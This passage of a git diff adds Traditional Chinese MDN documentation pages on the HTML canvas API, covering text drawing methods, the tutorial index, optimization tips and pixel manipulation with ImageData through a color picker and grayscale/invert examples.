+     <dd>文字靠右對齊。</dd>
+     <dt>center</dt>
+     <dd>文字置中對齊。</dd>
+     <dt>start</dt>
+     <dd>文字依照行首對齊 (書寫習慣由左到右的地區就靠左對齊，書寫習慣由右到左的就靠右對齊。).</dd>
+     <dt>end</dt>
+     <dd>文字依照行尾對齊（書寫習慣由左到右的地區就靠右對齊，書寫習責由右到左的地區就靠左對齊。）</dd>
+    </dl>
+
+    <p>預設的值是 <code>start</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>textBaseline</code> {{ gecko_minversion_inline("1.9.1") }}</td>
+   <td><code><a href="/En/DOM/DOMString" title="en/DOM/DOMString">DOMString</a></code></td>
+   <td>
+    <p>當前繪製文字的基線位置  可使用的值：</p>
+
+    <dl>
+     <dt>top</dt>
+     <dd>基線在字元區塊的頂部（圖中top of the squre位置）。</dd>
+     <dt>hanging（懸掛）</dt>
+     <dd>文字基線在拼音文字頂部的位置（圖中hanging baseline）  <em>當前仍未支援；會顯示 <strong>alphabetic</strong>代替。</em></dd>
+     <dt>middle</dt>
+     <dd>文字基線在字元區塊的中間。</dd>
+     <dt>alphabetic（拼音文字）</dt>
+     <dd>這是一般拼音文字底線的位置。</dd>
+     <dt>ideographic（表意文字）</dt>
+     <dd>文字在表意文字（如漢字）底部的位置  <em>當前仍未支援；會顯示<strong>alphabetic</strong>代替。</em></dd>
+     <dt>bottom</dt>
+     <dd>基線在拼音文字下伸部的位置 這與ideographic的基線位置不同，因為表意文字沒有下伸部</dd>
+    </dl>
+
+    <p>預設使用 <code>alphabetic</code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>下圖展示了textBaseline屬性所支援的各種基線，感謝 <a class="external" href="http://www.whatwg.org/" title="http://www.whatwg.org/">WHATWG</a>.</p>
+
+<p><img alt="top of em squre（字元區塊頂部）大致在字型中所有字母的最頂部位置，hanging basline（懸掛基線）則是在一些特殊（較小的,像是“आ”）字母頂部，middle則是在top of em squre（字元區塊頂部和bottom of em squre（字元區塊底部）的中間，alphabetic（拼音文字）的基線位置則是在一般拼音字母如Á，ÿ，f，Ω的底線位置。ideographic（表意文字）的基線在字元的底部位置，bottom of em squre（字元區塊底部）則大致是字型中所有字母的最底部位置。而top and bottom of the bounding box（上下的區域範圍線）則比這些基線都來得更遠，基於字母的高度可能超過字元區塊頂部和底部的範圍。" src="http://www.whatwg.org/specs/web-apps/current-work/images/baselines.png"></p>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<h3 id="fillText()">fillText()</h3>
+
+<p>繪製文字使用<code>font</code>屬性指定的文字樣式，對齊則使用<code>textAlign</code>屬性，而指定基線則使用<code>textBaseline</code>.  填充文字當前使用<code>fillStyle</code>，而<code>strokeStyle</code>則被忽略</p>
+
+<div class="note"><strong>注意：</strong>這個方法在 Gecko 1.9.1 (Firefox 3.5)時引進，且是HTML 5標準的一部分.</div>
+
+<pre>void fillText(
+   in DOMString textToDraw,
+   in float x,
+   in float y,
+   [optional] in float maxWidth
+);
+</pre>
+
+<h5 id="參數">參數</h5>
+
+<dl>
+ <dt><code>textToDraw</code></dt>
+ <dd>將文字繪製到文本中。</dd>
+ <dt><code>x</code></dt>
+ <dd>繪製位置的x座標。</dd>
+ <dt><code>y</code></dt>
+ <dd>繪製位置的y座標。</dd>
+ <dt><code>maxWidth</code></dt>
+ <dd>最大寬度，可選用的；繪製字串最大長度 如果指定此參數，當字串被計算出比這個值更寬，它會自動選擇水平方向更窄的字型（如果有可用的字型或是有可讀的字型可以嵌入當前字型之中），或者縮小字型。</dd>
+</dl>
+
+<h5 id="範例">範例</h5>
+
+<pre class="brush: js">ctx.fillText("Sample String", 10, 50);
+</pre>
+
+<h3 id="mozMeasureText.28.29" name="mozMeasureText.28.29">measureText()</h3>
+
+<p>測量文字。返回一個物件包含了寬度，像素值，所指定的文字會以當前的文字樣式繪製。</p>
+
+<div class="note"><strong>注意：</strong> 這個方法在 Gecko 1.9.1 (Firefox 3.5) 引進，且是HTML 5標準的一部分。</div>
+
+<pre class="eval">nsIDOMTextMetrics measureText(
+  in DOMString textToMeasure
+);
+</pre>
+
+<h6 id="Parameters_2" name="Parameters_2">參數</h6>
+
+<dl>
+ <dt><code>textToMeasure</code></dt>
+ <dd>該字串的像素值。</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">返回值</h6>
+
+<p><a class="internal" href="/nsIDOMTextMetrics" title="nsIDOMTextMetrics"><code>nsIDOMTextMetrics</code></a>物件的<code>width</code>屬性在繪製時會將數字設定給CSS 的像素值寬度。</p>
+
+<h3 id="mozDrawText.28.29" name="mozDrawText.28.29">mozDrawText()</h3>
+
+<p>{{ deprecated_header() }}</p>
+
+<p>繪製文字使用由<code>mozTextStyle</code>屬性的文字樣式。文本當前的填充顏色被用來當做文字顏色。</p>
+
+<div class="note"><strong>注意：</strong>這個方法已經不被建議使用,請使用正式的HTML 5方法 <code>fillText()</code> and <code>strokeText()</code>.</div>
+
+<pre class="eval">void mozDrawText(
+   in DOMString textToDraw
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">參數</h6>
+
+<dl>
+ <dt><code>textToDraw</code></dt>
+ <dd>將文字繪製到文本。</dd>
+</dl>
+
+<h6 id="Example" name="Example">範例</h6>
+
+<pre class="brush: js">ctx.translate(10, 50);
+ctx.fillStyle = "Red";
+ctx.mozDrawText("Sample String");
+</pre>
+
+<p>這個範例將文字“Sample String”繪製到畫布（canvas）上。</p>
+
+<h3 id="mozMeasureText.28.29" name="mozMeasureText.28.29">mozMeasureText()</h3>
+
+<p>{{ deprecated_header() }}</p>
+
+<p>返回寬度，像素值，指定文字</p>
+
+<div class="note"><strong>注意：</strong>這個方法已經已宣告棄用，請使用正式的HTML 5方法<code>measureText()</code>.</div>
+
+<pre class="eval">float mozMeasureText(
+  in DOMString textToMeasure
+);
+</pre>
+
+<h6 id="Parameters_2" name="Parameters_2">參數</h6>
+
+<dl>
+ <dt><code>textToMeasure</code></dt>
+ <dd>字串的寬度像素值</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">返回值</h6>
+
+<p>文字的寬度像素值</p>
+
+<h6 id="Example_2" name="Example_2">範例</h6>
+
+<pre class="brush: js">var text = "Sample String";
+var width = ctx.canvas.width;
+var len = ctx.mozMeasureText(text);
+ctx.translate((width - len)/2, 0);
+ctx.mozDrawText(text);
+</pre>
+
+<p>這個範例測量了字串的寬度，接著使用這個資訊將它畫在畫布（canvas）的水平中心。</p>
+
+<h3 id="mozPathText.28.29" name="mozPathText.28.29">mozPathText()</h3>
+
+<p>給文字路徑加上外框線，如果你想要的話，它允許你替文字加上框線代替填充它。</p>
+
+<pre class="eval">void mozPathText(
+  in DOMString textToPath
+);
+</pre>
+
+<h6 id="Parameters_3" name="Parameters_3">參數</h6>
+
+<dl>
+ <dt><code>textToPath</code></dt>
+ <dd>為當前的文字路徑加上框線</dd>
+</dl>
+
+<h6 id="Example_3" name="Example_3">Example</h6>
+
+<pre class="brush: js">ctx.fillStyle = "green";
+ctx.strokeStyle = "black";
+ctx.mozPathText("Sample String");
+ctx.fill()
+ctx.stroke()
+</pre>
+
+<p>這個範例繪出文字“Sample String”，填充顏色是綠色，外框顏色是黑色。</p>
+
+<h3 id="mozTextAlongPath.28.29" name="mozTextAlongPath.28.29">mozTextAlongPath()</h3>
+
+<p>Adds (or draws) the specified text along the current path.</p>
+
+<pre class="eval">void mozTextAlongPath(
+  in DOMString textToDraw,
+  in boolean stroke
+);
+</pre>
+
+<h6 id="Parameters_4" name="Parameters_4">參數</h6>
+
+<dl>
+ <dt><code>textToDraw</code></dt>
+ <dd>沿著指定路徑繪出文字</dd>
+ <dt><code>stroke</code></dt>
+ <dd>如果參數是 <code>true</code>（真值），文字會沿著指定路徑繪製。如果 <code>false</code>（假值），這個文字則會加入到路徑之中，再沿著當前路徑繪製。</dd>
+</dl>
+
+<h6 id="Remarks" name="Remarks">備註</h6>
+
+<p>字體不會沿著路徑曲線縮放或變形，反而在彎曲路徑下，字體每次計算都會當成是直線在處理。這可以用來建立一些特殊的效果。</p>
+
+<h3 id="strokeText()">strokeText()</h3>
+
+<p>繪製文字使用<code>font</code>屬性指定的文字樣式，對齊則使用<code>textAlign</code>屬性，而指定基線則使用<code>textBaseline</code>.  當前使用<code>strokeStyle</code>來建立文字外框。</p>
+
+<div class="note"><strong>注意：</strong> 這個方法在 Gecko 1.9.1 (Firefox 3.5)時引進，且是HTML 5標準的一部分。</div>
+
+<pre>void strokeText(
+   in DOMString textToDraw,
+   in float x,
+   in float y,
+   [optional] in float maxWidth
+);
+</pre>
+
+<h5 id="參數_2">參數</h5>
+
+<dl>
+ <dt><code>textToDraw</code></dt>
+ <dd>將文字繪製到文本中。</dd>
+ <dt><code>x</code></dt>
+ <dd>繪製位置的x座標。</dd>
+ <dt><code>y</code></dt>
+ <dd>繪製位置的y座標</dd>
+ <dt><code>maxWidth</code></dt>
+ <dd>最大寬度，可選用的；繪製字串最大長度 如果指定此參數，當字串被計算出比這個值更寬，它會自動選擇水平方向更窄的字型（如果有可用的字型或是有可讀的字型可以嵌入當前字型之中），或者縮小字型。</dd>
+</dl>
+
+<h5 id="範例_2">範例</h5>
+
+<pre class="brush: js">ctx.strokeText("Sample String", 10, 50);
+</pre>
+
+<h2 id="Remarks_2" name="Remarks_2">備註</h2>
+
+<ul>
+ <li>請見 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#text" title="http://www.whatwg.org/specs/web-apps/current-work/#text">WHATWG specification</a> 關於HTML 5 canvas text的說明。</li>
+ <li>你不需要特別的文本來使用這些功能；2D的文本就可以執行得很好。</li>
+ <li>所有的繪圖都使用即時變化來完成。</li>
+</ul>
+
+<h2 id="Additional_examples" name="Additional_examples">其它範例</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273497">繞著路徑繪製外框文字</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273498">沿著路徑繪製</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273499">動畫文字繞圓移動</a>.</li>
+</ul>
+
+<h1 id="瀏覽器兼容性">瀏覽器兼容性</h1>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1+</td>
+   <td>3.5+</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/index.html b/files/zh-tw/web/api/canvas_api/tutorial/index.html
new file mode 100644
index 0000000000..15280a881d
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/index.html
@@ -0,0 +1,69 @@
+---
+title: Canvas 教學文件
+slug: Web/API/Canvas_API/Tutorial
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div>{{CanvasSidebar}}</div>
+
+<p><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a></p>
+
+<div class="summary">
+<p><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a> 是一個 <a href="/en-US/docs/HTML" title="HTML">HTML</a> 元素，我們可以利用程式腳本在這個元素上繪圖（通常是用 <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>）。除了繪圖，我們還可以合成圖片或做一些簡單（或是<a href="/en-US/docs/HTML/Canvas/A_Basic_RayCaster" title="A_Basic_RayCaster">不那麼簡單</a>）的動畫。右方的影像便是一些運用 &lt;canvas&gt; 的例子，接下來我們將會在教學文件中一一說明<span style="line-height: inherit;">。</span></p>
+</div>
+
+<p><span class="seoSummary">本教學從基礎知識開始，描述如何利用 &lt;canvas&gt; 進行 2D 繪圖。教學中的範例會讓各位清楚瞭解 &lt;canvas&gt; 該如何運用，另外也會提供程式碼範例，讓大家嘗試製作自己的內容。</span></p>
+
+<p><code>&lt;canvas&gt;</code> 最早是由 Apple 為 Mac OS X Dashboard 所提出，之後 Safari 和 Google Chrome 也都採用。<a href="/en-US/docs/Gecko" title="Gecko">Gecko</a> 1.8 作基礎的瀏覽器，如 Firefox 1.5 也都提供了支援。<code>&lt;canvas&gt;</code> 元素是 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a>（也就是 HTML5）規範的一部分，目前所有主流的瀏覽器都已支援。</p>
+
+<h2 id="Before_you_start" name="Before_you_start">在開始之前</h2>
+
+<p><code>&lt;canvas&gt;</code> 並不困難，但你需要了解基本的 <a href="/en-US/docs/HTML" title="HTML">HTML</a> 與 <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>。部分舊版瀏覽器不支援<code> &lt;canvas&gt;，不過基本上現今所有主流的瀏覽器都有支援。</code>預設的畫布大小是 300px * 150px（寬 * 高）。但你也可以透過 HTML 寬、高屬性（{{Glossary("attribute")}}）自訂。為了在畫布上作畫，我們使用了一個 JavaScript context 物件來即時繪製圖形。</p>
+
+<h2 id="In_this_tutorial" name="In_this_tutorial">教學文件</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Basic_usage" title="Canvas_tutorial/Basic_usage">基本用途</a></li>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Drawing_shapes" title="Canvas_tutorial/Drawing_shapes">繪製圖形</a></li>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">套用樣式與顏色</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">繪製文字</a></li>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Using_images" title="Canvas_tutorial/Using_images">使用影像</a></li>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Transformations" title="Canvas_tutorial/Transformations">變形效果</a></li>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Compositing" title="Canvas_tutorial/Compositing">合成效果</a></li>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Basic_animations" title="Canvas_tutorial/Basic_animations">基礎動畫</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">進階動畫</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">像素控制</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Hit regions and accessibility</a></li>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas" title="Canvas_tutorial/Optimizing_canvas">最佳化 canvas</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Finale">Finale</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a class="external external-icon" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Adobe Illustrator to Canvas plug-in</a></li>
+ <li><a class="external external-icon" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
+ <li><a class="external external-icon" href="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/" title="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/">31 days of canvas tutorials</a></li>
+ <li><a href="/en-US/docs/HTML/Canvas/Drawing_Graphics_with_Canvas" title="Drawing_Graphics_with_Canvas">Drawing Graphics with Canvas</a></li>
+ <li><a href="/en-US/docs/tag/Canvas_examples" title="tag/Canvas_examples">Canvas examples</a></li>
+ <li><a class="external" href="http://html5tutorial.com" title="http://html5tutorial.com">HTML5 Tutorial</a></li>
+ <li><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">Drawing Text Using a Canvas</a></li>
+ <li><a class="external" href="http://developer.apple.com/library/safari/#documentation/AudioVideo/Conceptual/HTML-canvas-guide/AddingText/AddingText.html#//apple_ref/doc/uid/TP40010542-CH6-SW4" title="Adding Text to Canvas">Adding Text to Canvas</a></li>
+ <li><a class="external" href="http://www.canvasdemos.com/" title="Canvas Demos">Canvas Demos - Games, applications, tools and tutorials</a></li>
+ <li><a class="external" href="http://canvimation.github.com/" title="http://canvimation.github.com/">Canvas Drawing and Animation Application</a></li>
+ <li><a class="external" href="http://billmill.org/static/canvastutorial/" title="http://billmill.org/static/canvastutorial/">interactive canvas tutorial</a></li>
+ <li><a class="external" href="http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html" title="http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html">Canvas Cheat Sheet with all attributes and methods</a></li>
+ <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Adobe Illustrator to Canvas plug-in</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
+ <li><a class="external" href="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api" title="http://html5tutorial.com/how-to-draw-n-grade-bezier-curve-with-canvas-api">How to draw N grade Bézier curves with the Canvas API</a></li>
+ <li><a class="external" href="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/" title="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/">31 days of canvas tutorials</a></li>
+ <li><a href="http://www.w3.org/TR/2dcontext/" title="http://www.w3.org/TR/2dcontext/">W3C Standard</a></li>
+</ul>
+
+<h2 id="致歉各位貢獻者">致歉各位貢獻者</h2>
+
+<p>由於 2013/6/17 那一週的不幸技術錯誤，所有有關本教學的歷史紀錄，包括過去所有貢獻者的紀錄都遺失了，我們深感抱歉，希望各位可以原諒這一次不幸的意外。</p>
+
+<div>{{ Next("Web/Guide/HTML/Canvas_tutorial/Basic_usage") }}</div>
+
+<div> </div>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/zh-tw/web/api/canvas_api/tutorial/optimizing_canvas/index.html
new file mode 100644
index 0000000000..7fb8b35666
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/optimizing_canvas/index.html
@@ -0,0 +1,26 @@
+---
+title: 最佳化canvas
+slug: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<p>{{HTMLElement("canvas")}}在網頁2D繪圖上被大量運用於遊戲和複雜視覺化效果上。隨著繪圖複雜度越來越高，效能問題也會逐一浮現，所以最後我們在這邊列出一些最佳化畫布的方法，避免一些效能問題:</p>
+<ul>
+  <li>
+    在畫面之外的畫布上先行渲染相似或重複的物件
+  </li>
+  <li>批次性執行繪圖，例如一次畫數個線條而非分開一次一次畫</li>
+  <li>
+   使用整數位座標值，盡量避免小數點值
+  </li>
+  <li>避免不必要的畫布狀態改變</li>
+  <li>
+    只渲染不同處，不要全部重新渲染
+  </li>
+  <li>對於複雜需求可以利用多個畫布分層構成</li>
+  <li>
+    盡量不要用shadowBlur屬性
+  </li>
+  <li>使用{{domxref("window.requestAnimationFrame()")}}</li>
+  <li>用<a href="http://jsperf.com" title="http://jsperf.com">JSPerf</a>測試效能</li>
+</ul>
+<p>{{PreviousNext("Web/Guide/HTML/Canvas_tutorial/Basic_animations")}}</p>
diff --git a/files/zh-tw/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/zh-tw/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
new file mode 100644
index 0000000000..398ef70484
--- /dev/null
+++ b/files/zh-tw/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
@@ -0,0 +1,265 @@
+---
+title: Pixel manipulation with canvas
+slug: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</div>
+
+<div class="summary">
+<p>直到目前為止，我們還沒真正了解 pixels 在 canvas上的運用。使用<code>ImageData</code>物件，可直接對pixel 裡的陣列資料<strong>讀(read)</strong>和<strong>寫(write)</strong>。在接下的內容中，也可了解到如何使影像平滑化(反鋸齒)及如何將影像保存在canvas之中。</p>
+</div>
+
+<h2 id="ImageData物件"><code>ImageData</code>物件</h2>
+
+<p>{{domxref("ImageData")}} 物件代表canvas區中最基礎的像素。</p>
+
+<p>包含它只可讀的屬性:</p>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>影像中的寬度，以pixels為單位</dd>
+ <dt><code>height</code></dt>
+ <dd>影像中的高度，以pixels為單位</dd>
+ <dt><code>data</code></dt>
+ <dd>{{jsxref("Uint8ClampedArray")}} 代表一維陣列包含RGBA 格式。整數值介於0到255之間(包含255)。</dd>
+</dl>
+
+<p><code>data</code> 屬性返回一個{{jsxref("Uint8ClampedArray")}}，它可被當作為pixel的初始資料。每個pixel用4個1byte值做代表分別為<strong>紅</strong>，<strong>綠</strong>，<strong>藍</strong>，<strong>透明值</strong>(也就是<strong>RGBA</strong>格式)。每個顏色組成皆是介於整數值介於0到255之間。而每個組成在一個陣列中被分配為一個連續的索引。從左上角 pixel 的紅色組成中的陣列由<strong>索引 0</strong> 為始。Pixels 執行順序為從左到右,再由上到下,直到整個陣列。</p>
+
+<p>{{jsxref("Uint8ClampedArray")}}  包含<code>height</code> × <code>width</code>× 4 bytes的資料,同索引值從0到 (<code>height</code>×<code>width</code>×4)-1</p>
+
+<p>例如,讀取影像的藍色組成的值。從pixel 的第200欄、第50行，你可以照著下面的步驟:</p>
+
+<pre class="brush: js">blueComponent = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];</pre>
+
+<p>使用<code>Uint8ClampedArray.length</code>屬性來讀取影像pixel的陣列大小</p>
+
+<pre class="brush: js">var numBytes = imageData.data.length;
+</pre>
+
+<h2 id="創造一個_ImageData物件">創造一個 <code>ImageData</code>物件</h2>
+
+<p>可以使用{{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}方法創造一個全新空白的<code>ImageData</code> 物件。</p>
+
+<p>這裡有兩種<code>createImageData()</code>的方法:</p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(width, height);</pre>
+
+<p>這個方法是有規定大小尺寸.所有pixels預設是透明的黑色。</p>
+
+<p>下面的方法一樣是由<code>anotherImageData</code>參考尺寸大小，由<code>ImageData</code> 物件創造一個與新的一樣的大小。這些新的物件的pixel皆預設為透明的黑色。</p>
+
+<pre class="brush: js">var myImageData = ctx.createImageData(anotherImageData);</pre>
+
+<h2 id="得到pixel資料的內容">得到pixel資料的內容</h2>
+
+<p>可以使用<code>getImageData()</code>這個方法，去取得canvas內容中<code>ImageData</code> 物件的資料含pixel 數據(data) </p>
+
+<pre class="brush: js">var myImageData = ctx.getImageData(left, top, width, height);</pre>
+
+<p>這個方法會返回<code>ImageData</code>物件，它代表著在這canvas區域之中pixel 的數據(data) 。從各角落的點代表著 (<code>left</code>,<code>top</code>), (<code>left+width</code>, <code>top</code>), (<code>left</code>, <code>top+height</code>), and (<code>left+width</code>, <code>top+height</code>)。這些作標被設定為canvas 的空間座標單位。</p>
+
+<div class="note">
+<p><strong>注釋</strong>: 在<code>ImageData</code> 物件中，任何超出canvas外的pixels皆會返回透明的黑色的形式。</p>
+</div>
+
+<p>這個方法也被展示在<a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">使用canvas操作影像</a>之中。</p>
+
+<h3 id="調色盤">調色盤</h3>
+
+<p>這個範例使用<a href="/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData() </a>方法去顯示在鼠標下的顏色。</p>
+
+<p>首先，需要一個正確的滑鼠點<code>layerX</code><em>​​​​​​​</em>和 <code>layerY</code>。在從<a href="/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData">getImageData()</a> 提供pixel 陣列中(array)該點的pixel 數據(data) 。最後，使用陣列數據(array data)在<code>&lt;div&gt;</code>中設置背景色和文字去顯示該色。</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="227" style="float:left"&gt;&lt;/canvas&gt;
+&lt;div id="color" style="width:200px;height:50px;float:left"&gt;&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js;">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var color = document.getElementById('color');
+function pick(event) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
+             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
+  color.style.background =  rgba;
+  color.textContent = rgba;
+}
+canvas.addEventListener('mousemove', pick);
+</pre>
+
+<p>{{ EmbedLiveSample('A_color_picker', 610, 240) }}</p>
+
+<h2 id="在內容中寫入pixel_資料">在內容中寫入pixel 資料</h2>
+
+<p>可以使用<a href="/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData() </a>方法將自訂pixel 數據(data) 放入內容中:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, dx, dy);
+</pre>
+
+<p><code>dx</code> 和 <code>dy</code>參數表示填入你所希望的座標，將它代入內容中左上角的pixel 數據(data)。</p>
+
+<p>For example, to paint the entire image represented by <code>myImageData</code> to the top left corner of the context, you can simply do the following:</p>
+
+<pre class="brush: js">ctx.putImageData(myImageData, 0, 0);
+</pre>
+
+<h3 id="灰階和負片效果">灰階和負片效果</h3>
+
+<p>In this example we iterate over all pixels to change their values, then we put the modified pixel array back to the canvas using <a href="/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. The invert function simply subtracts each color from the max value 255. The grayscale function simply uses the average of red, green and blue. You can also use a weighted average, given by the formula <code>x = 0.299r + 0.587g + 0.114b</code>, for example. See <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a> on Wikipedia for more information.</p>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+  &lt;input id="grayscalebtn" value="Grayscale" type="button"&gt;
+  &lt;input id="invertbtn" value="Invert" type="button"&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
+  var data = imageData.data;
+
+  var invert = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      data[i]     = 255 - data[i];     // red
+      data[i + 1] = 255 - data[i + 1]; // green
+      data[i + 2] = 255 - data[i + 2]; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var grayscale = function() {
+    for (var i = 0; i &lt; data.length; i += 4) {
+      var avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
+      data[i]     = avg; // red
+      data[i + 1] = avg; // green
+      data[i + 2] = avg; // blue
+    }
+    ctx.putImageData(imageData, 0, 0);
+  };
+
+  var invertbtn = document.getElementById('invertbtn');
+  invertbtn.addEventListener('click', invert);
+  var grayscalebtn = document.getElementById('grayscalebtn');
+  grayscalebtn.addEventListener('click', grayscale);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grayscaling_and_inverting_colors', 330, 270) }}</p>
+
+<h2 id="放大和平滑化(反鋸齒)">放大和平滑化(反鋸齒)</h2>
+
+<p>With the help of the {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} method, a second canvas and the {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} property, we are able to zoom into our picture and see the details.</p>
+
+<p>We get the position of the mouse and crop an image of 5 pixels left and above to 5 pixels right and below. Then we copy that one over to another canvas and resize the image to the size we want it to. In the zoom canvas we resize a 10×10 pixel crop of the original canvas to 200×200.</p>
+
+<pre class="brush: js">zoomctx.drawImage(canvas,
